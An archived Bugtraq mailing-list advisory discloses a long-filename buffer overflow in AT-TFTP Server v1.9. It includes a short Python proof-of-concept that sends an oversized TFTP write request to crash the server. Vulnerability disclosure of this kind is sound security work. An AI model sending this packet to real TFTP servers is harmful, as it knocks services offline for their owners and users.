bugtraq
[Top] [All Lists]

TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long fil

To: bugtraq@securityfocus.com
Subject: TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)
From: liuqx@nipc.org.cn
Date: 26 Nov 2006 12:30:41 -0000
Delivered-to: sp-com-lists@consult.net
Delivered-to: bugtraq-list@securepoint.com
Delivered-to: mailing list bugtraq@securityfocus.com
Delivered-to: moderator for bugtraq@securityfocus.com
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@securityfocus.com; run by ezmlm
TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename)

------------------------------------------------------------------
SUMMARY:

AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://www.alliedtelesyn.co.uk/en-gb/support/downloads/tools.asp) 
It provides an implementation of the TFTPv2 protocol.

A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9, which 
could be exploited by remote or local attackers to execute arbitrary commands 
or cause a denial of service. This flaw is due to a buffer overflow error when 
handling an overly long file name (more than 227 bytes) passed to a "GET" or 
"PUT" command, which could be exploited by malicious users to compromise a 
vulnerable system or crash an affected application.
----------
DETAILS:

 Vulnerable systems: AT-TFTP Server v 1.9 and probable prior
 
Exploit:

#!/usr/bin/python
# Buffer Overflow (Long filename) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = '192.168.1.11'
port = 69

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except: 
    print "socket() failed"         
    sys.exit(1)

filename = "A" * 227 
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))

------------------------------------------
Liu Qixu
NCNIPC

<Prev in Thread] Current Thread [Next in Thread>
  • TFTP Server AT-TFTP Server v 1.9 Buffer Overflow Vulnerability (Long filename), liuqx <=